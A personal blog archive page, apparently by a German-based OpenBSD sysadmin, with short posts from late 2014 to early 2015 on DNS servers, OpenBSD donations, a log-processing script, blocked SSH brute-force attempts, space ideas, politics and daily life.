November 13, 2014 - Wildcarddnsd 0.9.0 will be released tomorrow
November 5th, 2014 - Graphing DNS queries
November 2nd, 2014 - Careful of a FritzBox downgrade
October 29, 2014 - Proud owner of 5.6 CD's
October 26, 2014 - When TCP is blocked/manipulated
October 25, 2014 - On my Christmas wish list: book of Pf
October 22, 2014 - Mytd, my tcp traceroute daemon
October 19, 2014 - I have a new VPS!
October 18, 2014 - Wiping keys, so important
October 15, 2014 - Turning off SSLv3 on OpenBSD's Firefox
October 13, 2014 - Wildcarddnsd 0.9.0 to be released next month
October 11, 2014 - Citizen4
October 4th, 2014 - money lookout
October 3rd, 2014 - Tried the firechat app
September 30, 2014 - Two tcp traceroutes
September 24, 2014 - Donated 5 dollars to the FreeBSD Foundation
September 22, 2014 - OpenBSD blocked at the routers?
September 20, 2014 - Equinox in three days
September 12, 2014 - The Enforcers of the Internet?
September 10, 2014 - moon finally gone
September 7th, 2014 - Venus (computer) has 4 more interfaces
September 2nd, 2014 - Donation time again
September 1st, 2014 - Purchased Soekris addon
August 29, 2014 - War in Europe
August 29, 2014 - holiday coming to an end
August 22, 2014 - Fears of a centralized wifi
August 21, 2014 - Futile attempt on a dating service
August 20, 2014 - The end of moon.
August 19, 2014 - On holidays what will I do?
August 18, 2014 - Changed dns servers
August 15, 2014 - Why I use Amazon
August 13, 2014 - New open source: bindsync
August 12, 2014 - removed moon.virgostar.net from nameservers
August 12, 2014 - Asylum for Snowden
August 11, 2014 - OpenBSD has a new httpd
August 11, 2014 - nginx and fastcgi stopped working
August 4th, 2014 - My next .ca vacation
August 2nd, 2014 - Tunnels vs. Submarines
August 1st, 2014 - 40 days til end of moon
July 27, 2014 - My Prayer
July 25, 2014 - Interrupted Venus's uptime
July 23, 2014 - Backdoored Hardware
July 19, 2014 - The dark side of IT workers
July 19, 2014 - How much space would we have if .. 
July 8th, 2014 - An old rap song of mine
July 6th, 2014 - How to compile xephem from source on OpenBSD
July 4th, 2014 - Why a static IP is best
June 30, 2014 - Happy Canada day (tomorrow)
June 28, 2014 - A message to the justice minister: you're doing it wrong
June 23, 2014 - Cherries 2014
June 21, 2014 - Happy solstice
June 13, 2014 - ap.centroid.eu
June 11, 2014 - Isn't it time for a new computer design?
June 5th, 2014 - My 2nd WRT router
May 31, 2014 - Opinion: the destroyers of the 'net
May 29, 2014 - Another TODO for wildcarddnsd
May 28, 2014 - Snowden: All german citizens are spied on
May 25, 2014 - I went voting in the EU election
May 23, 2014 - The Tree
May 23, 2014 - The heaven is singing a lullaby
May 21, 2014 - On my XMAS wishlist
May 17, 2014 - Wildcarddnsd now has RFC 1996 (Notify) master-only support 
May 14, 2014 - The NSA, one year after Snowden
May 13, 2014 - Happy 1400000000
May 11, 2014 - Wildcarddnsd now has NAPTR support
May 10, 2014 - Wildcarddnsd now has EDNS0 support
May 7th, 2014 - Administrivia and future plans network wise
May 5th, 2014 - wildcarddnsd now has packet rate limiting
May 4th, 2014 - got openbsd in the mail yesterday
April 28, 2014 - Two racing ARP's
April 25, 2014 - Highest possible date on OpenBSD 5.5
April 23, 2014 - Mercury (computer) OpenBSD dmesg
April 22, 2014 - Mercury (computer) has arrived
April 18, 2014 - All my domains now have spf records
April 13, 2014 - Wildcarddnsd has a YACC parser now!
April 11, 2014 - My new computer is ordered
April 8th, 2014 - Heartbleed, my story
April 4th, 2014 - Where would you hide?
April 2nd, 2014 - Good weather ahead?
March 31, 2014 - Happy 5th anniversary centroid.eu blog
March 31, 2014 - Pre-ordered OpenBSD 5.5
March 30, 2014 - My C Primer hits 30,000 views
March 27, 2014 - Oculus Rift, too bad
March 27, 2014 - Scaling back on donations this year
March 26, 2014 - americas.centroid.eu upgraded to FreeBSD 10 
March 21, 2014 - I hunt Sysadmins
March 20, 2014 - Spring has sprung!
March 19, 2014 - As the world turns
March 14, 2014 - The case with consumer routers
March 14, 2014 - Happy Pi day
March 8th, 2014 - Viewable Starsky tonight
March 4th, 2014 - What happened to *REAL* technical support?
March 2nd, 2014 - How should we punish aggressors?
February 25, 2014 - Win for the Consumer in Germany
February 20, 2014 - Upgraded my FritzBox Repeater 300E 
February 19, 2014 - My apartment: Year 1
February 18, 2014 - New Computer the decision factor
February 15, 2014 - OpenSMTPD on FreeBSD with Spam Assassin
February 14, 2014 - Happy Valentines day
February 13, 2014 - SVPRadio.com did get media attention in 2012
February 12, 2014 - Security can be about Incentives
February 12, 2014 - New naming scheme after planets
February 11, 2014 - After a long downtime my VPS americas is back
February 4th, 2014 - OS Changes back
January 28, 2014 - My apology to OpenBSD
January 24, 2014 - Someone actively probed my MTS tunnel (MITM)
January 20, 2014 - FreeBSD 10.0 released
January 19, 2014 - The Apple magic wore off
January 15, 2014 - Donation time again
January 15, 2014 - Is the NSA so much smarter than everyone else?
January 11, 2014 - What would I do in Virtual Reality?
January 10, 2014 - Freifunk Franken
January 8th, 2014 - So who owns the Internet
January 2nd, 2014 - My IT spendings are just about average in .de
January 1st, 2014 - Why China is fixated on the moon
December 30, 2013 - My Moonchart
December 26, 2013 - Success, configuring the resolver right
December 23, 2013 - Purchased Music off iTunes
December 23, 2013 - Living with Schizophrenia, what's it like?
December 22, 2013 - Donated 5 euros to the LibreOffice document foundation
December 19, 2013 - I'm in love with the new Apple Mac Pro (cylinder)
December 17, 2013 - Compartmenting more $USER functionality
December 16, 2013 - I wish Europe would land on the moon too
A lot has happened this year, it was great going over it again.



When Fighters scramble

December 6th, 2014

In the 21st century scrambling fighters against a 20th century bomber may seem like a good deed but let's think about what really could happen. The fighter has a crew of 1 or 2, the bomber has a crew of 6+, plus it has a lot of room for equipment not bombs. What's this you say? Equipment?

It's logical in the 21st century to conduct electronic surveillance not to test the defences of the west, in fact what I think may be happening is that as an example, russian bombers are getting a lot more from NATO fighters than we think. If the NATO radio is on, it'll be encrypted. That's what they probably want. They probably test the electronics of the fighter too. So when the Bear goes home, it'll be filled with data on the encounter. Valuable data. Which the military complex there can pounce on and devour.

Just makes sense doesn't it?



Speak German at home...

December 8th, 2014

The BBC reports that the Bavarian government insists that migrant families speak German at home. I have a few opinions about that:

  • One, noone gives a hoot what you do in the privacy of your home. If they do they oughta really check themselves before they wreck themselves.
  • Noone can understand south Bavarian dialekts either.
  • And thirdly, if my parents, when we lived in Canada had chosen to allow us to continue speaking English, instead of German at home, then I would have completely lost the German language. I mean completely. Just a few years ago when I worked at the Bavarian Red Cross, one of the reasons they fired me was because of my poor German. Yet it wasn't even that bad. Had I not known any German then things would have been even more difficult. Language barriers only make a migrants life a lot harder in the long run when they return to where they came from. Don't take that away from them is my opinion, German is not a world business language, meaning it accounts to absolutely zero in some far off country.

Until the Bavarian government realises this I wish on them to become a migrant for 5 years. Then we'll see how different they see the world.



Farewell American Forces

December 9th, 2014

When my family first moved to Schweinfurt there were two major things here: Industry and the US Army. It must have been 1979 when we came here and the cold war was in full swing. I remember a battalion of tanks riding past me at the Obertor (Upper gate) and it left me a bit crazy, as I, a boy at the time was a huge contrast to these huge machines manned with waving soldiers. Another time I remember being on a class trip and we walked past a tank but didn't spot it because it was camouflaged so well with camouflage netting. Another time a Jeep around 1985 sat in front of my house at 9:30PM with its radio turned up loud. It was a sort of manouver they were doing where they practiced "Urban" warfare I guess. My dad spoiled it for them as he told them to leave because I was trying to sleep. So now it's 30 years later since these encounters, the cold war is long gone and peaceful times saturated this city. It's been a few months ago now since I guess the last american soldier left. The US has left behind 2 major barracks, Ledward and Conn. Since Conn had its own water infrastructure and its own sewage treatment they are trying now to connect it to the rest of the city. In the new year we expect refugees from around the world.. (asylum seekers) to fill the Conn barracks. At least it has a purpose still if they manage to connect it all. So long America, Schweinfurt may miss you at times. However you leave behind some children who have a US citizenship so I'm sure you'll hear from us once in a while as many of these children grow up and set foot on american soil and will have stories to tell.



Comparison between Mordor and the US

December 12th, 2014

TraitsMordorUS
Torturesyesyes
Has spies all over the planetyesyes
Collects spy data on everyonenoyes
Has tough border and customs controlyesyes
Has elite military unitsyesyes
Has several alliesyesyes
Has death penaltyyesyes
Puts emphasis on towersyesyes

I could go on but the point is made, except for a sole ruler, which the US doesn't have.



December solstice in less than a week!

December 15th, 2014

On the 21st of December we have the december solstice. That's when short days will turn around and lengthen until June. Also on that day is the official start of winter (I know some people don't grasp that, they see snow they think it's winter). Winter will last until the equinox in March.



A domain expired, amdeutschhof.de

December 16th, 2014

When I knew I'd be getting this apartment I registered this domain called amdeutschhof.de. It's hard to believe it's 2 years later. Here is an image found on the site that I set up for it:

The domain didn't get many hits and it wasn't popular I don't think. However the sign was taken down after it was vandalized some time ago. I got a good picture of how it once looked. Yes, somewhere on that map is where I live.



My thought about Pegida

December 16th, 2014

I think the people around Pegida are wrong. However, one had a valid demand. He said to get rid of the GEZ which is tax that everyone has to pay on top of taxes, to finance the state run media (mainly ARD, ZDF, DW and such medias). I too would like this tax gone. It's too likely that state run media is used for propaganda. Especially in these times.

Another person said that there is no money for public installations but money for asylum seekers (refugees). To that person I would say, "Look in your heart, do you really want someone to continue to live the misery that they do? When all you have to do is tolerate them as neighbours. It would make a big difference to all."

Another said "everywhere where there is war, germany is involved, this has to stop". Sorry, you can't stick your head in the sand and ignore the grim picture of the world around us. We have to act against aggressors despite how ever twisted war is. We've had 70 years of peace after making a real mess of the world 70 years ago. Why should we not help those that need help? And let's be frank, 70 years of peace has created people who are "products of the environment" which is hazardous in some cases.

So I agree with one, disagree with two others. Pegida doesn't care for anyone but their own self-served interests. I liken them to the minutemen in the US.



NASA wants to go to Venus

December 17th, 2014

Remember the Venus Glider? One of my ideas? Search for it in this blog. Anyhow NASA wants to go to Venus with a manned mission and study the atmosphere at 50 km high. Life is bareable there we predict. Only they want to do it with a blimp instead of a glider.

The above picture is from my office (it's a poster) showing venus on the left and earth on the right. This is all the media I can give you. Let your imagination do the rest. Also for a small hint..trees breathe carbon dioxide which Venus has plenty. A floating base on Venus could perhaps have a few trees for rare treats. Venusian cherries anyone?



Merry Christmas / Frohe Weihnachten!

December 24th, 2014

Tonight is Christmas Eve. Merry Christmas! It looks like it'll be a green christmas here in Germany, as long as it doesn't rain, it'll be alright.



Winter Flowers

December 28th, 2014



Added supercluster to nameservers

December 29th, 2014

On August 12th, 2014 I removed moon.virgostar.net from the nameservers. Since then I had been running off only two nameservers. Both were spread far apart in Panama and Germany. Since today I have added a third nameservers again, this time it's called supercluster.virgostar.net. While doing so I noticed (thanks to DENIC) that my delphinusdnsd and its predecessor wildcarddnsd version 0.9.0 mismatched/flipped the refresh and retry values in the SOA of a zone. I fixed that and put it back in production. Supercluster is running nsd in a slave mode. Earlier before doing the DNS change I upgraded supercluster to OpenBSD 5.6 and applied all known patches. It's been a busy morning and I'm fairly tired. So looking at the winter flowers will get me going again, I hope.



Happy New Year!

December 31st, 2014

It's New Years eve here in .de, but on the globe the date is already January 1st (in .au for example). May 2015 be a prosperous year for you and me. Signing off for 2014, yours Peter J. Philipp.



Donation time again

January 5th, 2015

I have written a bank transfer to OpenBSD for 50 euros, labelled it "1st quarter", so it may be that OpenBSD is getting similar amounts three more times this year. Told you it'd be less than last year.



My 150 Euro Calculator

January 5th, 2015

You know I own a Raspberry Pi. Well in December of 2014 I bought an Adafruit TFT with touchscreen (only with a pen) that is 2.7". Here is the costs involved:

Raspberry Pi - 70 euros with SD card and Powersupply.
Adafruit TFT display and Case - 50 euros.
Shipping and Customs from NYC, USA - ~30 euros.
I installed xdm and modified it to run calculator (xcalc) over the entire screen. It has a screensaver too. This is what it looks like:

I put an OpenBSD sticker on it but only to cover the holes for the buttons which I need to buy the buttons for but not likely since customs costs so much. This rpi is running raspbian OS. One day I'm going to overhaul this calculator but for now it's working nicely.



Ordered 3 books

January 9th, 2015

I have ordered a book titled "The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory". This is something that interests me and that I'm a total newbie in. With this purchase was a recommendation to buy 3 books so I got the Red Team Field Manual along with Practical Reverse Engineering. I wonder if it was a good decision. Since my budget for this year is only 6-8 books I'm only going to count this as 2 books instead of 3.



I am not your subordinate

January 11th, 2015

The longer I observe the International news in regards to views from other countries with their relationship to Germany, I just want to make it clear. I'm not your subordinate. Other countries waged war versus Germany 70 years ago and we lost. However we're not born to be subordinates generations after the war, so treat us as sovereigns. If you do not you lose a friend. And friends is what everyone needs in these times. I sense that it makes Russians furious that Germans are able to share their opinions on the world wide web or even the Internet. I sense that Americans feel they have to protect a secret when it comes to exchanging valid information. I'm not your little friend and I'm not your big enemy. I am sovereign and seek freedom with something else. I'm annoyed that Mr. Gorbatchov is blaming Germany for the problems his country has with Ukraine. But my stance is, let the Ukrainians decide their own fate. All the power-struggles of Russia are immature and pertrude insecurity world wide. Get real!



And our rights diminish...

January 13th, 2015

I'm unsure whether it should be "thanks charlie" or "merci charlie". As there is now tougher laws, tougher controls and tougher everything-that-takes-my-freedoms. Even in England they are considering outlawing strong crypto. I guess we may as well start paying a tax to organized crime immediately since they can just read through the crypto that's weakened. Good thought! How free and creative!



Purchased some Reggae

January 15th, 2015

In order to chill out and have something new to listen to I purchased some Reggae. The lucky artist I picked this time is Khago - The Real One (album). These 10 songs join my collection of reggae now.



This is how fair the world is

January 19th, 2015

1% > %99. After the collapse of nations which is looming I predict people will want to do something different, if we still have a chance.



Is it more than Space Junk?

January 24th, 2015

I read somewhere that companies want to put their own satellites into space to connect the remaining 40% of Internet-illiterates. Google, SpaceX and Virgin Galactic I think. They dream of satellite formations that envelope the world and are able to give Internet in far remote corners where laying fibreoptic cabling is too expensive. I personally would tell these companies to "stand back" and hold that thought. If everyone does their own "Iridium constellation" then we'll have a major problem with space junk. What we need is 1 platform for everyone to keep it sane. So I hope these companies will "network" in the form of humans talking together and planning together instead of competeing and making a mess of the space that surrounds us.

I would bet that if we put reflectors or laser optic communication devices on the moon that people would control and talk to from earth that the problem would solve itself. The moon is seen by pretty everybody on earth but not always. So you can set up a communications link to give people a "downtime" to think, dream, plan and improve their methods of communicating with the moon and each other. In my view this is much more reliable and constructive than leaving space junk in orbit around earth. I've noticed that I think different when I'm online. I compulse more, I don't use my imagination as great as I do when I've spent time away from the net. Some examples are a long train journey (clickety clackety) or even being in the closed ward of a psychiatric institution.

In the end perhaps I wanted to put a thought out there when I had moon.virgostar.net on a Hong Kong VPS. In my view it's all about the moon, not earth orbit.



Administrivia

January 24th, 2015

I just noticed the dates were wrong for January's articles. I forgot to increment the year from 2014 to 2015 in my template script that I use to write the articles with. It should be fixed now. Sorry.



Cryptowars: Organised Crime and Terrorists

January 26th, 2015

I have had this on my mind for a long time now. Terrorists cause laws to be put in place to weaken crypto, or attempted laws. This falls into the hands of Organized Crime who control corporations who provide Internet. At the point when innocents join a provider that is corrupt their crypto can be read and placed on the Organized Crime black market. Now, the problem with this is who is a greater enemy to government? Organized Crime or Terrorists? Please don't tell me OC doesn't exist. AFAIK in Canada there have been identified six groups of Organized Crime and many are multinational meaning that Germany too has at least some of these groups.

Let's look at Organised Crime further, if these people were in power we'd have:

  • Disappearances (people being eradicated from life)
  • Shadow Governments (think of a place where OC runs a region)
  • Elitism (only those with an edge on technology reign)
  • Stronger crime syndicates (more money will remain in the underground economy)
  • Less taxes, less common taxpayers money
  • Bribes on government would pick pick up
If that doesn't scare the bejeezus out of you but terrorists do, then you should reevaluate life on this world. This is why I'm for strong crypto that, yes, even our government can't break. Perhaps we should prepare ourselves mentally to allow terrorist attacks and work politically to prevent them instead of judicially. I know OC is a bigger beast than terrorism and if we don't get it in check it will cost us a lot more than terrorism ever will.



Electricity (day) consumption up (unfortunately)

January 27th, 2015

I got my electricity bill today. Something really weird is going on because I spent less electricity for heating (night electricity which charges up my electric furnaces) but more for day electricity. In a little HTML table it would look like this:
YearNightDayTotal
2013694112768217
2014690613238229

It could be one of two new computers, one of which is only on at days. It could be freifunk usage only during the days but not at nights, and it could be that I use my network which is doubly encrypted only during the days mostly. I'll be curious what 2015 will be like. It will likely go a little higher too.



Purchased some Reggae

January 28th, 2015

I have the winter blues. I decided it's worth it to spend another 8 euros for reggae. I have purchased Delly Ranx's The Next Chapter. I'll be busy listening now.



The rich can't buy smarts, can they?

January 28th, 2015

I think they can. Artificial Intelligence, once it's on the market the rich will be not just rich but also super smart. Because they can put full trust into AI, to make them richer. So the monopoly that peasants have over them on the Internet... well the days are numbered for that. Just my thoughts.



I want a Greek bailout

February 2nd, 2015

While I don't think it's fair that greeks mismanaged their money, I feel they are Europeans like us and we should help them. It's a known fact that the south of the EU cannot produce economically like the north. So for european unity I believe a solidarity tax with the southern countries would be a proper thing. We want to be on a flat and even playing field in all of Europe but industry in the north is way beyond the infrastructure that the south has. Everyone would pay into this tax, all europeans, but it goes back to the south. So in effect it means the north is working for the south, yes. But that's the price of unity we have to pay, perhaps the south can repay us in other ways.



Why I think "The Time Machine" doesn't work in reality

February 3rd, 2015

If you've seen the movie "The Time Machine" you may recall how he sat on a chair and the timemachine moved through time linearly. This would work if the earth was the center of the universe and didn't move in space and time. However our earth follows the "solar apex" which means it's pulled along the sun at some speeds in the direction of the star Vega. Also we rotate around the sun also called orbiting. We complete one orbit in 365 days and a few hours. So if you were to go forward in time but not in space then we would miss the earth if you really think about it. Same with going backwards in time. So when building a time machine make sure you send astronauts out first with preferably a spaceship so they can come back to earth.



The last frontier, under the ice

February 5th, 2015

An old but new idea caught me last night. You probably heard of NEEMO which is NASA's underwater research station. Well consider NEEMO with a twist. It would be installed under the ice at the north pole of the planet earth. To do this I envisage a purely civilian project that uses old submarines converted with AIP fuel-cell propulsion. If you follow that AIP link it shows that this type of submarine can do 3000 nautical miles at 4 knots. Which is enough range to have a submarine go from Svalbard, Norway under the ice to the north pole and come back. The range between those two points is somewhere between 600 and 800 nautical miles (I haven't really done the math). The idea is to have a research outpost under the ice at the north pole and use nuclear fusion or just plain fuel-cells to produce electricity. Oxygen to breathe would be imported with supply submarines. Communications can be done with long wave radio as is common with submarines but the antenna is gonna be huge. There already is a research station over the ice at the south pole, this would complement its science but under the ice.



Thinking of voting Die Linke in 2017

February 5th, 2015

I've never voted that far left in my life. But the facts are the facts:

  • Rich are richer, poor are poorer, distribution is out of wack
  • Socialist parties like the SPD who are supposed to be center-left, aren't
  • Leftist parties like the Greens did not do enough when they were in power to stop the global inequity
  • Greece voted left so why can't I?
  • Perhaps there will be more money for me when I vote Die Linke so that I can pay into a pension fund
  • Right now I face no future, with no or little pension, I'll be poor when I retire
This is the grim reality. I've considered other parties and my past voting was Greens, Pirate Party and now Die Linke. Everything is not normal today, people are suffering and we need real change. For fairness.



Next Week marks Two Years in My Apartment

February 6th, 2015

Almost 2 years ago I moved in this place. Haven't regretted it yet, it's a wonderful place.



I'm sick

February 13th, 2015

These are the sickly days of winter. I came down with acute bronchitis since last weekend. I'm now on anti-biotics and medicine that will hopefully help me develop the mucus and phlegm required to cough out this virus. Sorry for the graphic picture. I haven't been sick in a long time like this.



Upper Lower Class

February 14th, 2015

This impressed me very much. At wikipedia under the American upper class article there is this chart of classes. Now while I live in Germany and I always felt like I was in the middle class, I work in North America and get paid in dollars. I also have a North American education of "some college". Many of our customers are US based, and I'm thinking where my place would be. Yes I'm in the Upper Lower Class. Lately this realisation has enthralled me. And it's made me a bit angry too. Dear world, I'm not OK with where you're going.



Moved the blog

February 16th, 2015

I have moved the blog away from my old vps's. This means it's a single point of failure too as only one server (in amsterdam) is hosting the blog. This opens new avenues for me to eventually give up the Panama vps. The destinations americas.centroid.eu and emea.centroid.eu still go to the old vps's but I'm going to location tag them over soon.

The host it's now run on is powered by OpenBSD and is running openbsd's httpd, as you can see it's fairly successful at it. Please update your RSS if you were using it, as it may not work as before (you need to determine this).



Purchased more Reggae

February 17th, 2015

I don't just buy men artists, although the majority of Reggae I have is men. This album I just bought is from a woman. Etana - "I Rise". Looking forward to hearing the entire album.



Scarcity vs. Abundance

February 21st, 2015

Scarcity, what is it? It means that something (resources) are limited to an extend that they are scarce or little. What is Abundance? Abundance is the exact opposite. I remember the first time I heard the word abundance it was in a Bob Marley song and it went "In the abundance of water, the fool is thirsty". I heard the word scarcity after hearing use of abundance really. On earth we live a life of scarcity when it comes to "things". We may have a toaster and a tv, but we do not own a rocket or space shuttle to take us into orbit. Only a few people that are selected can go, "on behalf" of humanity.

I'd like to contrast scarcity with abundance in computer systems. My first computer I had (a ZX-81) had 4KB of RAM, it was really scarce. Compare that with my newest computer that has 32 GB of RAM, that's a factor of 8 million times what I had back then. I just hope that we don't get too disappointed that we don't see such factors of abundance in material things such as space shuttles.

I lived in North America for 15 years and in the early years I noticed a contrast that a lot more people had an air conditioning system with their house or apartment. In Germany there isn't as many systems but it has to do with scarcity of electric energy. It makes no sense to run a coal powerplant to run an air conditioner, my dad always said. The burned coal produces carbon dioxide which in turn causes the greenhouse effect aka global warming. If using green technologies such as wind turbines we're tapping into an abundance of energy on earth. Yet wind turbines aren't cheap and there is a scarcity of them.

In fact we're in energy transitioning times where we're going from unsustainable and falsely seemingly abundance of energy in form of nuclear to sustainable wind and solar. What nuclear energy has left us with is an abundance of poison in form of nuclear waste. 1 mg of it could kill thousands of people. So I'm gonna stop here on that topic.

As you can see we're living in mostly scarce times, except the computers... those buggers seem to double capacity every 18 months. But I can tell you we're hitting a limit even with computers. Right now we're having a heyday going smaller and smaller with chip circuitry, but we're nearing an end. I think they say 8 nanometers is the end of it. We're at 22 now I believe. We'll have to look for new ways of computing in order to keep up this seemingly abundance of capacity.

Oh well, that's all I wanted to say, although I'll continue when more comes to mind.



Ordered three books

February 23rd, 2015

I have ordered three books that generally interest me.

  • It's about Time: Understanding Einstein's Relativity - Mermin, N. David
  • Quantum Computer Science: An Introduction - Mermin, N. David
  • Quantum Computing verstehen: Grundlagen - Anwendungen - Perspektiven (Computational Intelligence) - Homeister, Matthias
Other than being about Quantum computers they don't really deal with computers much.



Nearing 20 years UNIX experience

February 24th, 2015

In 1995 I first installed GNU/Linux on my sole computer (a 486/66). A year later it ran FreeBSD 2.1-RELEASE, another year later in 1997 I got my first sysadmin job (starting pay $10/hour, soon after $36K a year). All in all I'm nearing 20 years experience as a UNIX user and 18 years experience as a UNIX sysadmin. It should really be UNIX-like although we did use Solaris in 1997 and BSD is not a clone. A lot has changed in those 20 years. For one I don't have the body I had back then. Back then I was slender and carried a Basketball. Now I carry the basketball in my stomach, lol :-). But I'm also wiser, I admit. And I'm getting smarter, I recently worked out how much raise I should be getting after inflation from what my salary was in 2000. If I had any advise to young people is: "don't underestimate how much you're worth, make them pay" and "stay physically fit despite those long hours they want you to put in". Whether I'll be doing this another 20 years? Time will tell.



Got a washing machine

February 25th, 2015

Two years after moving into this apartment, I've finally got a washing machine. Picture here:

I used to take my laundry to my parents house but it's too much work now that my mother is home after having a stroke (she was in hospital for a few months), so I got this thing.



OpenBSD donations reached 397,000 dollars in 2014

February 26th, 2015

Ken Westerback of the OpenBSD Foundation has said this about 2014:

We received $397,000 in new donations and paid out $129,000 to support the activities of the OpenBSD and related projects.

And this year in 2015 they plan to raise $200,000. If you haven't donated yet please consider a small amount here or look up how to do donations otherwise.

I personally don't know if my money made it to the OpenBSD Foundation because I donate directly to Theo de Raadt's Munich bank account. So that money may be higher than $397,000. This year I decided to donate 50 euros quarterly and the first quarter is not up yet. But in a month it will be, I'll let you know when I do the second donation of the year.



God Speed Spock!

February 27th, 2015

         ##         ##
          ##       ##
           ##     ##
            ##   ##
             ## ##
              ###
               #
RIP Leonard Nimoy, 83.



Softraid Crypto seems secure

March 5th, 2015

Sometimes I do pesky things such as asking OpenBSD developers if their stuff is secure or not (or if they wrote certain parts). I do this in part out of curiousity and lazyness at the same time. And so it came that I asked OpenBSD developers the following questions:

  • Why is there duplicate blocks in a crypto softraid disk image?
  • If it's because ECB mode is used would a counter mode be better?
Now Ted Unangst answered with some helpful answers. He understands code much better than I and his answers seemed very helpful.

Another developer Joel Sing answered but his answers didn't hit my satisfaction factor as much. In fact Joel wanted to make me work and overcome my lazyness factor and he asked the following questions:

  1. What encryption algorithm/mode is used for disk block encryption?
  2. Where do the keys come from that are used for the disk block encryption/ decryption
  3. How are the keys that are used to encrypt the disk blocks stored?
  4. When creating a new softraid crypto volume, Where does the key come from?
  5. What happens if you use a keydisk instead of a passphrase?
Now Joel knew that I had picked the function sr_crypto_encrypt() next to randomly because it was the closest looking function to having a crypto component. I guess I must have picked the wrong function. If ECB is not used for question #1 then perhaps it's AES XTS which is also mentioned in the code. I know very little about this mode and found only a little wikipedia entry on it.

I'd like to rant about this a little more but I need to do more research. Spending 30 minutes reading /usr/src/sys/dev/softraid* and /usr/src/sbin/bioctl is not enough to make a concrete picture of this. And this isn't easy code either. I have much respect for Marco Peereboom and Joel Sing and others who wrote this for their perseverence in understanding such a complex thing. I'm just not at their level and likely never will be. Whether I was even helpful for anyone is debateable. But then again if noone looks and asks questions even if seemingly ignorant who is? I for one want OpenBSD tested and questioned in order to find what works best. If it didn't have that I wouldn't use it and I'd feel a lot more insecure. I'll give you another example, when W^X came out I was not satisfied with just them telling me that stack overflows are now protected. I wrote my own test programs to really test this to the extend of knowledge that I had on stack smashing. Had I not done this I would never have guessed that a program exits on SIGABRT when W^X detects a smashed stack.



OpenBSD's httpd with webalizer

March 5th, 2015

I like using webalizer to give me an idea how much international traffic I get with the GeoIP extension. Well when I switched to openbsd's httpd something was broken. It took me a few weeks to find time today and I figured out that the combined logfile prepends a %v (in apache speak) which is a virtual hostname. I wrote a script to remove this (apache recommends a program called split-logfile):

$ more webalizer.sh
#!/bin/sh

TMPFILE=`mktemp /tmp/blah.XXXXXX` 
awk '{$1="" ; print ; }' /var/www/logs/access.log | sed -e 's/^[ ]*//g' > $TMPFILE
cd somelocation && webalizer -w $TMPFILE
rm -f $TMPFILE
Granted the USA and China are usually 1st and second place because of their aggressive search bots googlebot and baidu. How many people found this blog through a search engine? I hate to tell you your search engine is breaking the rules because I am maintaining a /robots.txt file which should exclude bots from going into my blog. I am not mad about you being here though just mad for being indexed.



Oldlaptop's github repo

March 5th, 2015

I had the opportunity to talk a little to oldlaptop on efnet. We talked a little about popcon.debian.org and noticed that openssh-client had >170K users at debian, and sed being the most popular package. Oldlaptop has a github page where he designs software and packages for UQM (/usr/games/uqm in OpenBSD). His github page is here. Thanks for chatting oldlaptop!



Purchased Reggae

March 7th, 2015

This month I got Luciano - Special Edition (2014).



Crackers are getting more careful

March 7th, 2015

Captured from an IRC session:

13:13 <@pbug> # grep 182.100.67 authlog | wc -l     
13:13 <@pbug>      543
13:13 <@pbug> # grep 182.100.67.112 authlog | wc -l 
13:13 <@pbug>       44
13:13 <@pbug> these pesky things!
13:14 <@pbug> they change their IP and continue trying to log in as root
13:15 <@pbug> oh what's more they are careful not to overload my pf tables now
13:15 <@pbug> # pfctl -t bad_hosts -T show | grep 182.100.67       
13:15 <@pbug> # 
Good thing I disabled root logins they have been trying to crack it a long time now while evading my overload pf tables.



Equinox in 8 days

March 12th, 2015

The March Equinox is upon us again. If you're in Europe you're getting a rare treat at around 8:46 CET. We'll have a solar eclipse then, in parts of Germany the Sun will be covered around 70-80%. Some people are worried about solar power degrading and causing blackouts, we'll see. Only in the Faroes and Svalbard will there be a total solar eclipse, btw. So make plans to travel there now! LOL just kidding!



Wrote two members of parliament

March 12th, 2015

I have written two members of parliament representing Schweinfurt regarding the Stoererhaftung. I was prompted to write them according to this article, a call for help. I currently run the only known Schweinfurt nodes of Freifunk Franken, so this really does affect me not just indirectly.



Pre-Ordered OpenBSD 5.7

March 13th, 2015

Pre-orders are on. If you want to order OpenBSD 5.7 too and don't know how go to openbsdstore.com and click the flag at the top right to specify your region. The prices will then update and you'll be able to see 5.7 at the very top and proceed to buy it. Have fun!



Happy Pi day

March 14th, 2015

It's 3.14.15 as written in american (english too?) dates. This year the year also represents digits of Pi, so this year is special.



My Eclipse photos were a FAIL

March 21st, 2015

I made a construct with my ipod and welders glass to capture the eclipse.

Unfortunately the images came out pretty bad. There is no lessons learned other than that it doesn't work this way. One suggestion was that I had to turn auto exposure off but I'm unsure of the setting on my ipod. Where others chose routes of perfection, I chose routes of failure it seems. Over and over again.



Purchases more Reggae

March 24th, 2015

In order to get by this march I have bought a rather old riddim (from 2013) called the "contagious riddim" which is various artists on the same track. I wouldn't know about this if it wasn't for pre-viewing on youtube, so props goes to youtube too.



The catch-22 of mental illness

March 28th, 2015

Everyone heard of the Germanwings Flight 4U 9525 by now. The co-pilot caused a murder-suicide by crashing the plane deliberately. The evidence gathered amounts that he was mentally ill, but it wasn't depression. So did he hear voices? Ie. did he have schizophrenia? This is just a guess right now until the media reports the truth around his mental illness. So is it right to give up your job that you love because you have a mental illness? Is it right to hide it from your employer?

I have schizophrenia myself, but my employer knows this, but what if he didn't? Would that change a thing? In my view Andreas L. was reckless. He was a bull gone mad. He should have told his employer and take the hit. It would have saved 149 innocents from dying. Truth is he would have lost his job, but there is other not-so-glamirous jobs that he could have taken on. And if he still wanted to kill himself he could have done it in a way that affects only himself. Like perhaps doing it in the glider he was solo'ing often.

More facts will appear in time, however, I'd also like to say this: "That guy made us mentally ill look bad, and is causing unneeded consequences on us!". We too are victims of this madman.



Please, not another LEO ISS!

March 29th, 2015

Russia's space agency and NASA may collaborate to create another ISS after the current ISS will be scuttled in 2024. Now if they want to do another LEO (Low Earth Orbit) ISS then I gotta yawn and say "boring!". How about raising the bar a little and putting a station around the moon? I'd even be satisfied with a station at Geosynchronous Earth Orbit (GEO). If Europe is expected to collaborate on another ISS I want them to consider this! Also the news of space junk and the evasive manouvers that the current ISS had to do makes it literally dangerous to put another ISS in LEO.



R.I.P. Paul Schenkeveld

March 30th, 2015

